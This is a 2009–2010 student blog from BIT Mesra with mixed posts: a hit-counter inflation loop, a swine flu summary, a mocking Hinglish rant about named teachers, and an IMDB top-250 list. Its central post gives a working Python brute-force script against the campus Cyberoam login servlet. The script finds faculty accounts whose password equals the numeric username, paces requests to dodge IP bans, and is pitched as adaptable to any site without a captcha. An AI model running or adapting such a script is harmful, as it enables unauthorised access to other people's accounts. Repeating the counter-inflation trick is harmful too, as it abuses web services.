It seems that the official website of Tata Consultancy Services ( http://www.tcs.com ), which is a placement-time saviour for BIT Mesra and man other institutes ( :P ) has been HACKED. The site now contains some text in french and english. It is suspected to be a type of DNS Hijacking . For a tutorial on DNS hijacking visit BITproxy Educational section.
Here is the screenshot.
Showing posts with label Abhishek Anand BIT Mesra. Show all posts
Showing posts with label Abhishek Anand BIT Mesra. Show all posts
Sunday, February 7, 2010
Monday, February 1, 2010
INCREASE YOUR BLOGGER profile views 100 times in few minutes !!!
You must have noticed the dumb counters on some of the webpages. Now some of these counters do track users ip and then increment the count. Buy mostly dont.Google's own blogger.com's profile page or this place where you are reading this blog counts people just on the basis of hits. NOW THE INTERESTING PART .
You can increase your counters exponentially in just few minutes. Here is the python code to do that. The instructions to run this code are given in my previous post..
-----------COPY FROM HERE-----------------
import urllib
while(1):
a = urllib.urlopen('http://www.blogger.com/profile/16674273246363106243')
b = a.read()
print ('DONE')
----------COPY UPTO HERE----------------
If you are facing problems consider reading Python syntax as while copying from here you may get errors as Python has no braces and tabs are its indentation marks.
You may consider giving short breaks or you may end up with this page or even your account may be suspended.
**NOTE THE URL IS OF MY BLOGGER PROFILE . CHANGE IT TO YOUR PROFILE URL OR ANY PAGE WITH COUNTERS ELSE GOOGLE WILL BAN MY ACCOUNT DUE TO YOU.
** THIS WILL EAT UP YOUR 100 mb LIMIT IF YOU ARE IN BIT MESRA OTHERWISE FOR PEOPLE ELSEWHERE SKY IS THE LIMIT FOR YOUR COUNTERS.
** GOOGLE MAY NOTICE THIS AND WILL RECTIFY ... SO THIS MAY STOP WORKING AFTER SOMETIME. BUT IT WILL WORK FOR OTHER SITES TOO :P
You can increase your counters exponentially in just few minutes. Here is the python code to do that. The instructions to run this code are given in my previous post..
-----------COPY FROM HERE-----------------
import urllib
while(1):
a = urllib.urlopen('http://www.blogger.com/profile/16674273246363106243')
b = a.read()
print ('DONE')
----------COPY UPTO HERE----------------
If you are facing problems consider reading Python syntax as while copying from here you may get errors as Python has no braces and tabs are its indentation marks.
You may consider giving short breaks or you may end up with this page or even your account may be suspended.
**NOTE THE URL IS OF MY BLOGGER PROFILE . CHANGE IT TO YOUR PROFILE URL OR ANY PAGE WITH COUNTERS ELSE GOOGLE WILL BAN MY ACCOUNT DUE TO YOU.
** THIS WILL EAT UP YOUR 100 mb LIMIT IF YOU ARE IN BIT MESRA OTHERWISE FOR PEOPLE ELSEWHERE SKY IS THE LIMIT FOR YOUR COUNTERS.
** GOOGLE MAY NOTICE THIS AND WILL RECTIFY ... SO THIS MAY STOP WORKING AFTER SOMETIME. BUT IT WILL WORK FOR OTHER SITES TOO :P
Sunday, January 31, 2010
CYBEROAM PROF ID's HACKING CODE
Lately I have been getting much amount of queries about Prof ID's or IDs which have no limit on download or time restrictions. So I am giving out the code which I wrote to scan the IDs. Note that this code can be used to brute force any website (obviously without a captcha or image based identification system.) with some minor modifications and a good dictionary.
STEPS TO GET PROF ID's ( Ids with same numeric username and password)
1. Download Python IDE from http://www.python.org (not python.com !!!!). I have been using 2.5.1 and recommend the same.
2. Install normally
3. Open Notepad
4. Copy the following code in it or skip steps 2 n 3 n download the file from http://www.bitproxy.co.cc/data/cyberoam.py
-----------------COPY AFTER HERE----------------
# Cyberaom Prof IDs hacking code
# @author Abhishek Anand, BIT Mesra
# feel free to modify this code but do mail your code to:
codebase@bitproxy.co.cc
import urllib
import time
#this is the range of Ids to check
checkList = range(1,10000)
for i in checkList:
userid =str(i)
password= str(i)
# here a post request is being made to the CyberoamHTTPClient servelet
# for any other site view its form's source nd make a dictionary of
elements
dataToSend = urllib.urlencode({'mode': '191','isAccessDenied': '', 'url':
'', 'username': userid, 'password': password, 'saveinfo': '', })
postRequest =
urllib.urlopen("http://172.16.1.1:8090/corporate/servlet/CyberoamHTTPClient",
dataToSend)
responseData = postRequest.read()
# reading the faltu string from the output to verify
if not responseData.count('Make+sure+your+password+is+correct'):
print userid
# time to stop scanning before opening URL
time.sleep(1)
# here I m opening my Foxy's Updata File :P
openURLToCheck =
urllib.urlopen("http://www.bitproxy.co.cc/data/file.txt")
checkData = openURLToCheck.read()
if checkData.count('2k8'):
print '------------------------------------------'
print ' ID FOUND !!!!! ID FOUND !!!! ID FOUND!!!!'
print '------------------------------------------'
print password
# stopping after 80 checks to prevent temporary IP banning by stupid
Cyberoam
if i%80 == 0:
print 'SCAN COMPLETED UPTO ' + str(i)
time.sleep(3)
-----------------COPY UPTO HERE--------------------
5. Save the file with .py extension (e.g. hacker.py)
6. Now open the place where you have saved the file.
7. Right click on the file and select 'Edit with IDLE'
8. From the menu options run the program or press F5
9. The OUTPUT will generate both dead and working IDs.
10. ID FOUND !!! ID FOUND !!! means a working ID has been found.
** You can implement the same thing in Java using Java.net.* libraries. but
it may take more lines of codes.
** Please donot use this code on your friends IDs. :P
For any help feel free to mail me at: opensource@bitproxy.co.cc
Abhishek Anand
Thursday, August 13, 2009
Wanna be a co-owner of this blog ????
If you want to contribute to this blog as a co-owner then just write to me at my mail address or just put a comment here in reply to this post mentioning your name and email address.
for Web and Spiderman
for Web and Spiderman
Wednesday, August 12, 2009
Dictators of BIT Mesra
Some names have been intentionally changed so as to hide the identity of victims and others.
We are just standing up for a cause.If we hurt anybody's feelings we are extremely sorry about that.We deeply respect the persons referred below.
Copyright Web and Spiderman, 2009
LIST OF DICTATORS (you can add your experiences as comments)
'Sampul calculation karna hai' is his tagline. You may wonder when will he retire.
budhau ki hawas ke shikar students:
1. 'MSTC wala ladka' and 'idhar aa.....accha chor' waala ladka -
inn massomo ko kya pata tha ki unke 2 classes ki mehnat pe paani phirne jaa raha hai. jaalim ne index page ko hi itni bedardi se kaata ki wo phatne ki kagaar pe aa gaya.
2. Mr. Bablu Werewolf -
ghor beijyatti .......'ye ladka bhondu hai, isse kuch nahi aata.......kya hostel ka khana kha ke motaa rahe ho sirf....' itna kehkar jaalim ne file phekkar uske muh pe maara par bachpan ka cricket kaam aaya nahi to aaj naak phut gaye hoti......... itna hone se pehle bablu bhag kyu nahi gaya....aur ek baat chamiya ki 'medamji' aur unki 'saheli' ne bablu ki sahayata karne ki koi koshish nahi ki...i feel truly sorry for bablu. lets pray for bablu.
3. Me
jaalim : 'andha ho gaya hai kya ji.......kya likha hai'
me : 'sir wo calculate karke direct answer likhe hai'
jaalim : 'pagal ho kya ji....kahi se chap ke likh loge aur kahoge ki calculator se kiye hai. ye kya likha hai...moment of inertia ka unit kya hota hai?'
me : 'kg m2'
jaalim :'kaise ji....tum log yeha par kaise aa gaye ho.....12 me kuch padhe
4. Neo <<>>
jaalim : 'jhandi-maar t-shirt pehen ke kyu aa jate ho'
ab batayiye t-shirt ka mechanics lab se kya sambandh......
5. Anonumous <<>>
jaalim : 'kitna gpa aaya hai ji'
anonymous : ' sir 8.35'
jaalim : 'samajh me nahi aata, kaise e log ko itna gpa aa jata hai
6. jaalim ka assistant
you must be thinking how can somebody work under jalim....par kya kare naukri hai...karni parti hai.....
our source overheard following piece of conversation between jaalim and the victim ---
jaalim : 'accha ek chij bataiye toh, e jo pankha hai,e beam me kahe latka hai...aur bhi to jagah hai idhar udhar..'
assistant : 'sir.......sir..........sir'
jaalim : 'sochiye sochiye'
jaalim : 'beam mota hota hai,isiliye pakar majboot hota hai......he he he...e sab purana jamana ka baat hai...aaj kal ke log ko e sab thore hi pataa'
( to be continued.............)
We are just standing up for a cause.If we hurt anybody's feelings we are extremely sorry about that.We deeply respect the persons referred below.
Copyright Web and Spiderman, 2009
LIST OF DICTATORS (you can add your experiences as comments)
- 'Laal Baal' alias Ajmal Kasab :
- Mechanics Lab Incharge alias 'Budhau Sir'
'Sampul calculation karna hai' is his tagline. You may wonder when will he retire.
budhau ki hawas ke shikar students:
1. 'MSTC wala ladka' and 'idhar aa.....accha chor' waala ladka -
inn massomo ko kya pata tha ki unke 2 classes ki mehnat pe paani phirne jaa raha hai. jaalim ne index page ko hi itni bedardi se kaata ki wo phatne ki kagaar pe aa gaya.
2. Mr. Bablu Werewolf -
ghor beijyatti .......'ye ladka bhondu hai, isse kuch nahi aata.......kya hostel ka khana kha ke motaa rahe ho sirf....' itna kehkar jaalim ne file phekkar uske muh pe maara par bachpan ka cricket kaam aaya nahi to aaj naak phut gaye hoti......... itna hone se pehle bablu bhag kyu nahi gaya....aur ek baat chamiya ki 'medamji' aur unki 'saheli' ne bablu ki sahayata karne ki koi koshish nahi ki...i feel truly sorry for bablu. lets pray for bablu.
3. Me
jaalim : 'andha ho gaya hai kya ji.......kya likha hai'
me : 'sir wo calculate karke direct answer likhe hai'
jaalim : 'pagal ho kya ji....kahi se chap ke likh loge aur kahoge ki calculator se kiye hai. ye kya likha hai...moment of inertia ka unit kya hota hai?'
me : 'kg m2'
jaalim :'kaise ji....tum log yeha par kaise aa gaye ho.....12 me kuch padhe
4. Neo <<>>
jaalim : 'jhandi-maar t-shirt pehen ke kyu aa jate ho'
ab batayiye t-shirt ka mechanics lab se kya sambandh......
5. Anonumous <<>>
jaalim : 'kitna gpa aaya hai ji'
anonymous : ' sir 8.35'
jaalim : 'samajh me nahi aata, kaise e log ko itna gpa aa jata hai
6. jaalim ka assistant
you must be thinking how can somebody work under jalim....par kya kare naukri hai...karni parti hai.....
our source overheard following piece of conversation between jaalim and the victim ---
jaalim : 'accha ek chij bataiye toh, e jo pankha hai,e beam me kahe latka hai...aur bhi to jagah hai idhar udhar..'
assistant : 'sir.......sir..........sir'
jaalim : 'sochiye sochiye'
jaalim : 'beam mota hota hai,isiliye pakar majboot hota hai......he he he...e sab purana jamana ka baat hai...aaj kal ke log ko e sab thore hi pataa'
( to be continued.............)
Monday, August 10, 2009
All you need to know about Swine flu

H1N1 Flu (Swine Flu): General Information
Unfortunately, swine flu has reached India.Here is a comprehensive information base which will tell you about everthing you want to know about swine flu. Read and tell others too.- H1N1 Flu & You
What is novel H1N1 flu? Updated August 5, 2009 - What To Do if You Get Flu-Like Symptoms Updated August 5, 2009
- Antiviral Drugs
- Taking Care of a Sick Person in Your Home Updated August 5, 2009
- Novel H1N1 Vaccine: Q & A Updated Aug 3, 2009
- Facemask & Respirator Use Updated August 5, 2009
- Emergency Use Authorization (EUA) of Medical Products and Devices
- Audio & Video Resources
Podcasts, public service announcements, press briefings, and webcasts - Social Media
Widgets, mobile info, buttons, videos, podcasts, e-cards, RSS feeds, twitter/microblogs updates, image sharing, social networking - Flyers & Other Print Materials
See also Information for Specific Groups.
See also Background Information on Influenza in Pigs.
( taken from http://www.cdc.gov)
Friday, August 7, 2009
Chrome is now skinnable !

Yes ,you heard it right.The fastest browser (you can comment on this) can now wear clothes like Firefox. To try just download the beta Google Chrome (BETA) from here.
Try it out now.
Top 250 movies to watch-- (open to arguments) source: IMDB
Rank | Rating | Title | Votes |
1. | 9.1 | The Shawshank Redemption (1994) | 437,602 |
2. | 9.1 | The Godfather (1972) | 360,528 |
3. | 9.0 | The Godfather: Part II (1974) | 210,471 |
4. | 8.9 | Il buono, il brutto, il cattivo. (1966) | 130,634 |
5. | 8.9 | Pulp Fiction (1994) | 358,107 |
6. | 8.9 | Schindler's List (1993) | 238,114 |
7. | 8.8 | The Dark Knight (2008) | 383,925 |
8. | 8.8 | 12 Angry Men (1957) | 94,425 |
9. | 8.8 | One Flew Over the Cuckoo's Nest (1975) | 182,835 |
10. | 8.8 | Star Wars: Episode V - The Empire Strikes Back (1980) | 244,712 |
11. | 8.8 | Casablanca (1942) | 148,599 |
12. | 8.8 | Star Wars (1977) | 287,312 |
13. | 8.8 | The Lord of the Rings: The Return of the King (2003) | 314,623 |
14. | 8.8 | Shichinin no samurai (1954) | 84,628 |
15. | 8.7 | Goodfellas (1990) | 196,958 |
16. | 8.7 | Rear Window (1954) | 102,992 |
17. | 8.7 | Cidade de Deus (2002) | 138,803 |
18. | 8.7 | Raiders of the Lost Ark (1981) | 217,061 |
19. | 8.7 | C'era una volta il West (1968) | 61,607 |
20. | 8.7 | Fight Club (1999) | 325,391 |
21. | 8.7 | The Lord of the Rings: The Fellowship of the Ring (2001) | 341,814 |
22. | 8.7 | The Usual Suspects (1994) | 235,554 |
23. | 8.7 | Psycho (1960) | 124,197 |
24. | 8.6 | The Silence of the Lambs (1991) | 213,027 |
25. | 8.6 | Up (2009) | 30,169 |
26. | 8.6 | Sunset Blvd. (1950) | 46,459 |
27. | 8.6 | The Matrix (1999) | 332,037 |
28. | 8.6 | Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb (1964) | 139,292 |
29. | 8.6 | Memento (2000) | 233,679 |
30. | 8.6 | North by Northwest (1959) | 81,481 |
31. | 8.6 | It's a Wonderful Life (1946) | 89,294 |
32. | 8.6 | Se7en (1995) | 237,823 |
33. | 8.6 | The Lord of the Rings: The Two Towers (2002) | 286,284 |
34. | 8.6 | Citizen Kane (1941) | 124,236 |
35. | 8.6 | Léon (1994) | 168,368 |
36. | 8.6 | Apocalypse Now (1979) | 152,490 |
37. | 8.6 | American Beauty (1999) | 258,205 |
38. | 8.5 | Taxi Driver (1976) | 133,184 |
39. | 8.5 | American History X (1998) | 191,040 |
40. | 8.5 | Vertigo (1958) | 79,769 |
41. | 8.5 | Lawrence of Arabia (1962) | 70,627 |
42. | 8.5 | Forrest Gump (1994) | 255,159 |
43. | 8.5 | WALL·E (2008) | 140,858 |
44. | 8.5 | Paths of Glory (1957) | 38,448 |
45. | 8.5 | Le fabuleux destin d'Amélie Poulain (2001) | 155,513 |
46. | 8.5 | Double Indemnity (1944) | 31,692 |
47. | 8.5 | M (1931) | 34,242 |
48. | 8.5 | Alien (1979) | 155,614 |
49. | 8.5 | To Kill a Mockingbird (1962) | 73,029 |
50. | 8.5 | A Clockwork Orange (1971) | 167,974 |
51. | 8.5 | The Treasure of the Sierra Madre (1948) | 28,591 |
52. | 8.5 | The Shining (1980) | 151,810 |
53. | 8.5 | Terminator 2: Judgment Day (1991) | 203,137 |
54. | 8.5 | Saving Private Ryan (1998) | 237,023 |
55. | 8.5 | The Third Man (1949) | 44,624 |
56. | 8.5 | The Departed (2006) | 221,419 |
57. | 8.5 | Das Leben der Anderen (2006) | 58,413 |
58. | 8.5 | The Pianist (2002) | 111,006 |
59. | 8.4 | Chinatown (1974) | 67,974 |
60. | 8.4 | City Lights (1931) | 22,742 |
61. | 8.4 | Sen to Chihiro no kamikakushi (2001) | 84,067 |
62. | 8.4 | Eternal Sunshine of the Spotless Mind (2004) | 187,885 |
63. | 8.4 | Aliens (1986) | 147,419 |
64. | 8.4 | L.A. Confidential (1997) | 147,417 |
65. | 8.4 | Requiem for a Dream (2000) | 156,866 |
66. | 8.4 | Das Boot (1981) | 62,394 |
67. | 8.4 | Monty Python and the Holy Grail (1975) | 138,807 |
68. | 8.4 | The Bridge on the River Kwai (1957) | 51,910 |
69. | 8.4 | Reservoir Dogs (1992) | 183,451 |
70. | 8.4 | Slumdog Millionaire (2008) | 133,507 |
71. | 8.4 | El laberinto del fauno (2006) | 127,706 |
72. | 8.4 | Raging Bull (1980) | 78,079 |
73. | 8.4 | All About Eve (1950) | 30,848 |
74. | 8.4 | The Maltese Falcon (1941) | 45,473 |
75. | 8.4 | Rashômon (1950) | 33,401 |
76. | 8.4 | Modern Times (1936) | 30,116 |
77. | 8.4 | Singin' in the Rain (1952) | 48,381 |
78. | 8.4 | Gran Torino (2008) | 82,601 |
79. | 8.4 | Some Like It Hot (1959) | 58,673 |
80. | 8.3 | Rebecca (1940) | 30,736 |
81. | 8.3 | Der Untergang (2004) | 68,246 |
82. | 8.3 | The Prestige (2006) | 166,812 |
83. | 8.3 | Metropolis (1927) | 33,515 |
84. | 8.3 | The Apartment (1960) | 31,077 |
85. | 8.3 | Amadeus (1984) | 84,804 |
86. | 8.3 | The Elephant Man (1980) | 49,579 |
87. | 8.3 | Nuovo cinema Paradiso (1988) | 38,527 |
88. | 8.3 | La vita è bella (1997) | 92,644 |
89. | 8.3 | 2001: A Space Odyssey (1968) | 141,184 |
90. | 8.3 | The Great Dictator (1940) | 31,198 |
91. | 8.3 | Once Upon a Time in America (1984) | 61,414 |
92. | 8.3 | Ladri di biciclette (1948) | 22,630 |
93. | 8.3 | Full Metal Jacket (1987) | 130,372 |
94. | 8.3 | Back to the Future (1985) | 173,210 |
95. | 8.3 | Mr. Smith Goes to Washington (1939) | 29,237 |
96. | 8.3 | The Great Escape (1963) | 53,907 |
97. | 8.3 | The Sting (1973) | 57,502 |
98. | 8.3 | Sin City (2005) | 221,226 |
99. | 8.3 | Touch of Evil (1958) | 28,451 |
100. | 8.3 | Braveheart (1995) | 211,298 |
101. | 8.3 | On the Waterfront (1954) | 35,687 |
102. | 8.3 | Star Trek (2009) | 80,115 |
103. | 8.3 | Det sjunde inseglet (1957) | 31,376 |
104. | 8.3 | Hotel Rwanda (2004) | 78,120 |
105. | 8.3 | Batman Begins (2005) | 235,165 |
106. | 8.3 | Indiana Jones and the Last Crusade (1989) | 152,622 |
107. | 8.3 | Jaws (1975) | 120,844 |
108. | 8.3 | The Green Mile (1999) | 167,444 |
109. | 8.3 | The Wrestler (2008) | 64,735 |
110. | 8.3 | Strangers on a Train (1951) | 29,264 |
111. | 8.3 | No Country for Old Men (2007) | 166,490 |
112. | 8.3 | Unforgiven (1992) | 83,698 |
113. | 8.3 | Star Wars: Episode VI - Return of the Jedi (1983) | 187,654 |
114. | 8.3 | Blade Runner (1982) | 163,934 |
115. | 8.3 | Gladiator (2000) | 239,867 |
116. | 8.2 | Notorious (1946) | 27,191 |
117. | 8.2 | The Manchurian Candidate (1962) | 31,109 |
118. | 8.2 | Oldboy (2003) | 78,556 |
119. | 8.2 | Die Hard (1988) | 157,440 |
120. | 8.2 | Per qualche dollaro in più (1965) | 35,678 |
121. | 8.2 | High Noon (1952) | 29,910 |
122. | 8.2 | The Big Sleep (1946) | 25,247 |
123. | 8.2 | Cool Hand Luke (1967) | 39,097 |
124. | 8.2 | Fargo (1996) | 145,989 |
125. | 8.2 | The Wizard of Oz (1939) | 90,440 |
126. | 8.2 | The General (1926) | 17,055 |
127. | 8.2 | Witness for the Prosecution (1957) | 15,154 |
128. | 8.2 | Mononoke-hime (1997) | 56,054 |
129. | 8.2 | There Will Be Blood (2007) | 108,787 |
130. | 8.2 | Smultronstället (1957) | 17,902 |
131. | 8.2 | Donnie Darko (2001) | 181,591 |
132. | 8.2 | It Happened One Night (1934) | 21,520 |
133. | 8.2 | Heat (1995) | 125,049 |
134. | 8.2 | Kind Hearts and Coronets (1949) | 11,064 |
135. | 8.2 | Yojimbo (1961) | 25,127 |
136. | 8.2 | Annie Hall (1977) | 56,644 |
137. | 8.2 | Ran (1985) | 30,153 |
138. | 8.2 | The Deer Hunter (1978) | 76,422 |
139. | 8.2 | Ben-Hur (1959) | 50,901 |
140. | 8.2 | The Sixth Sense (1999) | 211,463 |
141. | 8.2 | Les diaboliques (1955) | 11,883 |
142. | 8.2 | Judgment at Nuremberg (1961) | 11,800 |
143. | 8.2 | Platoon (1986) | 94,887 |
144. | 8.2 | Kill Bill: Vol. 1 (2003) | 199,238 |
145. | 8.2 | Into the Wild (2007) | 73,919 |
146. | 8.2 | Le salaire de la peur (1953) | 11,774 |
147. | 8.2 | Le notti di Cabiria (1957) | 9,085 |
148. | 8.2 | Million Dollar Baby (2004) | 118,965 |
149. | 8.2 | Butch Cassidy and the Sundance Kid (1969) | 50,226 |
150. | 8.1 | The Bourne Ultimatum (2007) | 121,700 |
151. | 8.1 | The Grapes of Wrath (1940) | 20,191 |
152. | 8.1 | 8½ (1963) | 24,384 |
153. | 8.1 | Life of Brian (1979) | 81,857 |
154. | 8.1 | (500) Days of Summer (2009) | 3,826 |
155. | 8.1 | Snatch. (2000) | 145,831 |
156. | 8.1 | The Big Lebowski (1998) | 151,447 |
157. | 8.1 | The Gold Rush (1925) | 17,758 |
158. | 8.1 | The Graduate (1967) | 67,438 |
159. | 8.1 | The Night of the Hunter (1955) | 21,722 |
160. | 8.1 | Stand by Me (1986) | 78,457 |
161. | 8.1 | Finding Nemo (2003) | 140,076 |
162. | 8.1 | The Killing (1956) | 21,238 |
163. | 8.1 | Ratatouille (2007) | 108,969 |
164. | 8.1 | Gandhi (1982) | 43,508 |
165. | 8.1 | Dog Day Afternoon (1975) | 50,678 |
166. | 8.1 | Brief Encounter (1945) | 11,145 |
167. | 8.1 | Amores perros (2000) | 52,335 |
168. | 8.1 | Gone with the Wind (1939) | 68,090 |
169. | 8.1 | The Lion King (1994) | 112,822 |
170. | 8.1 | Trainspotting (1996) | 131,083 |
171. | 8.1 | Sunrise: A Song of Two Humans (1927) | 9,318 |
172. | 8.1 | Scarface (1983) | 129,479 |
173. | 8.1 | The Thing (1982) | 65,279 |
174. | 8.1 | Groundhog Day (1993) | 115,941 |
175. | 8.1 | The Terminator (1984) | 154,019 |
176. | 8.1 | Sleuth (1972) | 14,680 |
177. | 8.1 | The Wild Bunch (1969) | 27,000 |
178. | 8.1 | Harvey (1950) | 20,272 |
179. | 8.1 | V for Vendetta (2005) | 188,720 |
180. | 8.1 | The Kid (1921) | 10,955 |
181. | 8.1 | Toy Story (1995) | 122,031 |
182. | 8.1 | The Best Years of Our Lives (1946) | 15,130 |
183. | 8.1 | The Hustler (1961) | 22,087 |
184. | 8.1 | Umberto D. (1952) | 7,249 |
185. | 8.1 | Shadow of a Doubt (1943) | 18,136 |
186. | 8.1 | The Hangover (2009) | 55,115 |
187. | 8.1 | The Princess Bride (1987) | 112,448 |
188. | 8.1 | The Incredibles (2004) | 136,238 |
189. | 8.1 | Twelve Monkeys (1995) | 147,115 |
190. | 8.1 | Lock, Stock and Two Smoking Barrels (1998) | 106,573 |
191. | 8.1 | Stalag 17 (1953) | 18,101 |
192. | 8.1 | Children of Men (2006) | 133,791 |
193. | 8.1 | Casino (1995) | 92,365 |
194. | 8.0 | Hotaru no haka (1988) | 28,459 |
195. | 8.0 | The Lady Vanishes (1938) | 15,248 |
196. | 8.0 | Duck Soup (1933) | 23,213 |
197. | 8.0 | The Curious Case of Benjamin Button (2008) | 102,365 |
198. | 8.0 | Dial M for Murder (1954) | 24,765 |
199. | 8.0 | The African Queen (1951) | 30,029 |
200. | 8.0 | The Ox-Bow Incident (1943) | 7,756 |
201. | 8.0 | La battaglia di Algeri (1966) | 11,347 |
202. | 8.0 | Anatomy of a Murder (1959) | 13,761 |
203. | 8.0 | In Bruges (2008) | 72,891 |
204. | 8.0 | A Streetcar Named Desire (1951) | 28,947 |
205. | 8.0 | Letters from Iwo Jima (2006) | 46,424 |
206. | 8.0 | King Kong (1933) | 33,646 |
207. | 8.0 | The Adventures of Robin Hood (1938) | 20,229 |
208. | 8.0 | Who's Afraid of Virginia Woolf? (1966) | 16,403 |
209. | 8.0 | Låt den rätte komma in (2008) | 32,982 |
210. | 8.0 | The Lost Weekend (1945) | 10,453 |
211. | 8.0 | The Exorcist (1973) | 88,740 |
212. | 8.0 | La strada (1954) | 14,945 |
213. | 8.0 | The Conversation (1974) | 28,031 |
214. | 8.0 | His Girl Friday (1940) | 17,991 |
215. | 8.0 | Safety Last! (1923) | 4,593 |
216. | 8.0 | Ed Wood (1994) | 64,056 |
217. | 8.0 | Rope (1948) | 26,312 |
218. | 8.0 | Le scaphandre et le papillon (2007) | 23,573 |
219. | 8.0 | Rosemary's Baby (1968) | 42,171 |
220. | 8.0 | Changeling (2008) | 43,484 |
221. | 8.0 | Bonnie and Clyde (1967) | 35,323 |
222. | 8.0 | All Quiet on the Western Front (1930) | 18,394 |
223. | 8.0 | Sweet Smell of Success (1957) | 7,646 |
224. | 8.0 | Manhattan (1979) | 33,223 |
225. | 8.0 | Network (1976) | 27,955 |
226. | 8.0 | Crash (2004/I) | 149,629 |
227. | 8.0 | The Philadelphia Story (1940) | 24,517 |
228. | 8.0 | Frankenstein (1931) | 20,282 |
229. | 8.0 | Patton (1970) | 34,662 |
230. | 8.0 | Arsenic and Old Lace (1944) | 26,115 |
231. | 8.0 | Kill Bill: Vol. 2 (2004) | 155,906 |
232. | 8.0 | Laura (1944) | 12,342 |
233. | 8.0 | Great Expectations (1946) | 8,592 |
234. | 8.0 | Big Fish (2003) | 119,438 |
235. | 8.0 | Magnolia (1999) | 108,332 |
236. | 8.0 | The Day the Earth Stood Still (1951) | 30,159 |
237. | 8.0 | Good Will Hunting (1997) | 128,637 |
238. | 8.0 | Mystic River (2003) | 100,197 |
239. | 8.0 | My Man Godfrey (1936) | 6,915 |
240. | 8.0 | Wo hu cang long (2000) | 98,139 |
241. | 8.0 | Roman Holiday (1953) | 26,858 |
242. | 8.0 | Glory (1989) | 50,492 |
243. | 8.0 | Rocky (1976) | 79,839 |
244. | 8.0 | Nosferatu, eine Symphonie des Grauens (1922) | 25,531 |
245. | 8.0 | Little Miss Sunshine (2006) | 128,760 |
246. | 8.0 | La dolce vita (1960) | 17,152 |
247. | 8.0 | In the Heat of the Night (1967) | 20,204 |
248. | 8.0 | Harold and Maude (1971) | 25,199 |
249. | 8.0 | Bringing Up Baby (1938) | 21,011 |
250. | 8.0 | Planet of the Apes (1968) | 49,637 |
Subscribe to:
Posts (Atom)